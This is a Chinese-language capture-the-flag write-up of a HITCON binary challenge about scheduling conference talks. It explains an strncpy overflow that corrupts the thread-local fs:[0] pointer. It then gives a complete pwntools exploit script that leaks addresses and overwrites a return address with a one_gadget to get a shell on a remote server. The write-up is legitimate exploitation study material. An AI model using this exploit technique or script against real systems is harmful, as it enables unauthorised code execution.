前言
这道题在比赛中并没有解出来,而是在赛后才解出来,不过这题也花了我挺长时间的
做完之后不得不感叹hitcon的出题质量非常之高
正式分析
首先我们来看下main函数
前面有几个函数
setup函数是常规的初始化,读了/dev/urandom的四个字节作为seed
init_papers 函数是初始化paper,从papers.txt文件里面读取
然后循环里面有4个功能,前两个只是简单的打印内容,没什么有用的地方
重点分析的是后两个功能
schedule
这个函数会循环读取两个数字,然后这两个数字分别是第几个schedule和第几个paper的意思
schedule_ok函数会判断每个paper是否只有一个,还有全部schedule是否填满
1-3 代表第一个场次演讲的paper
4-6 代表第二个场次演讲的paper
7-9 代表第三个场次演讲的paper
每个场次的演讲会同时进行
这个是程序输出的示例
start
首先判断了schedule_ok,只有ok了才能继续
下面开始有一个init_audience
创建了997个普通的audience,还创建了两个NiceAudience 最后创建了You
这些创建都使用了c++面向对象的构造函数,NiceAudience是继承普通audience的,You是继承NiceAudience的
回到start函数
这里cur_time从0到2,代表的当前的场次
下面
(*(void (__fastcall **)(Audience *))(*(_QWORD *)aud[i] + 16LL))(aud[i]);
这里是调用了刚刚创建的Audience对象的第三个函数,我们可以去看下虚函数表
圈起来的就是被调用的函数
普通的Audience只是随机选一个,范围从0到2
NiceAudience会根据schedule来选择,大概的策略是,有Orange,Angelboy,david942j这三个人的讲座的话,就会尽量选择这三个人的,例如这一场只有Orange的,那它肯定会选Orange,如果有Orange,Angelboy两个人的,就会随机选择这两个中其中一个
You 会根据输入选择
你会有三次听演讲的机会,每次只能从3个人中选一个,而选择的东西是根据你schedule来排的
再回到start函数
这里创建了三个线程,调用的是talk函数,传参传的是paper
- 判断schedule是否符合规范
- 让997个普通Audience随机选择3个中的一个演讲,让2个NiceAudience根据schedule来选择演讲,让你从输入读取选择演讲
- 启动三个线程,线程调用talk函数,传参传的分别是该场次 第一、二、三个演讲,这里启用线程大概的意思是这三个演讲是同时进行的
接下来分析talk函数
有几个函数,我们一一来分析
这里是将3000000写入到fs:0FFFFFFFFFFFFFF60 这里代表的是演讲的总时间
fs:0FFFFFFFFFFFFFF68h 写入的是paper的指针
然后下面一个循环,找出当前的演讲是属于第几个演讲,顺序可以在papers.txt里面看
再下面一个循环是找出当前演讲属于当前场次的第几个
这些fs:xxx是用来保存当前线程的变量的,是线程安全的
第一行strlen的长度是演讲的描述的长度
david942j
All in one shot - One Gadget RCE
All you need to know is: $ gem install one_gadget && one_gadget /lib/x86_64-linux-gnu/libc.so.6
就是All you need…..这部分的长度,然后除以时间,得出打印每个字符和下个字符之间的间隔,然后每次打印完会减掉一点总时间
首先执行times_up,判断是否还剩余时间
这里可能会有个疑问,上面不是用长度除以时间,然后每打印一个字符就减去一点时间,理论上打印完全部字符之后时间就会没有了,为什么这里还能判断有剩余时间呢?
回答就是,长度不一定能整除时间,有些会剩余一些时间的
而剩余时间的有
Orange
A New Era Of SSRF
The new meaning of SSRF - Special Super Rare Food! Yummmmmmm..
Angelboy
Play with File Structure - Yet Another Binary Exploit
Too easy, even babies know how to exploit with file structure.
Jesmon
Warrior of Salvation
Kid, try my Judgement of the Blade.
那么我们为什么要选择有剩余时间的呢?
原因就是整个程序有漏洞的地方,就出现在response那里
首先
v0 = (const char *)(*(__int64 (__fastcall **)(_QWORD *))(*aud[i] + 24LL))(aud[i]);
这里会调用ask函数
然后将返回值,也就是buf的地址当作参数传递到response函数里面
我们再来分析response函数
红色框圈起来的就是初始化的部分,但是我们看看v2 v3,是rax寄存器保存的值
但是很明显我们没有传rax进来,那么v2 v3是在哪里呢?
这里fs:0其实和上面的fs:0FFFFFFFFFFFFFF60处于同一块内存区域
属于保存线程内存变量的区域
strncpy这里就是程序的漏洞,可以覆盖fs:0的值
而fs:0比较特殊,因为这个地方储存的值是指向自身的,这跟TLS的机制和实现有关,具体可以去看网上别人的教程
简单的来说就是,假如说我利用strncpy将fs:0的值覆盖为0xdeadbeef
下次调用
mov rax, fs:[0]
的话,rax得到的值就是0xdeadbeef
下面这里v7 和v8 其实也是fs:[0]
这里 (*aud[i]+8) 调用的是puts
而 (*aud[i]+32) 调用的是 readn
所以其实这里我们能任意写:
将fs:[0]的值修改为我们要写的地址加0x90,这样就能在readn那里进行任意写
但问题是我们不知道任意一个地址
因此我们可以利用第一次的puts来leak出 fs:[0]的地址
利用readn来修正被修改的 fs:[0] 地址
fs:[0]与libc的距离是固定的,但是要根据具体环境确定,与线程栈的距离也是固定的,这个不会变化
当我们第二次进入这个response函数的时候,我们可以将fs:[0]设为当前函数栈的返回地址那里,可以leak出程序的基址
之后减去偏移,因为我们这个时候控制了栈,再利用ROP和程序内部的函数,leak出一个libc的地址,我们就能知道fs:[0]与libc的距离是多少
得到距离之后,我们在第二次进入response函数的时候,再把fs:[0]设为当前函数栈返回地址,修改为one_gadget,直接getshell
而怎么才能第二次进入response函数呢?
这里就和一开始的schedule有关系了
进response需要演讲的内容的长度不能整除3000000,满足这个条件的有
Orange
Angelboy
Jesmon
上面介绍过,NiceAudience会尽量选择Orange和AngelBoy的,还有一个尽量选择的david942j 能整除
因此我们可以制定这样一个schedule
1. 三个能整除的
2. 第一个为david942j, 第二个为随便一个能整除的,第三个为Jesmon
3. 第一个为随便能整除的,第二个为Orange,第三个为Angelboy
第二次是一定能进response的,第三次就要靠运气了
payload
下面是正式利用的payload
from pwn import *
debug=0
context.log_level='debug'
e=ELF('./libc.so.6')
#e=ELF('./libc.so.6')
if debug:
p=process('./hitcon',env={'LD_PRELOAD':'./libc.so.6'})
gdb.attach(p)
else:
p=remote('13.115.73.78', 31733)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
order=[2,3,5,1,8,9,6,4,7]
# schedule
sl('3')
for i in range(9):
for q in range(4):
ru('----------------------------------------')
sl(str(i+1)+' '+str(order[i]))
ru('Exit')
sl('4')
# choose any one in first round
ru('2. ')
sl('1')
# choose Jesmon in second round
ru('2. ')
sl('2')
ru('Any questions?n')
#raw_input()
# partial write and leak address
se('x71'*93)
libc=u64('x70'+ru('n')[:-1]+'x00x00')
if debug:
base=libc+0xB5E890
else:
base=libc+0xB5E890-0x5A8000
ru('May I know your name please?')
se('a'*31) # repaire
ru('Which room you'd like to go?')
sl('2')
ru('Any questions?n')
stack=libc-0x1002988
se('a'*91+p64(stack-0x70+0x100))
pbase=u64(ru('n')[:-1]+'x00x00')-0x23fc #get program base
ru('May I know your name please?n')
#payload=p64(pbase+0x2ea3)+p64(pbase+0x203EF8)+p64(pbase+0x1160) #use it to leak rand address
payload=p64(base+0x4f322) #one gadget
se(payload)
print(hex(base))
p.interactive()
总结
hitcon的题目质量真的高
发表评论
您还未登录,请先登录。
登录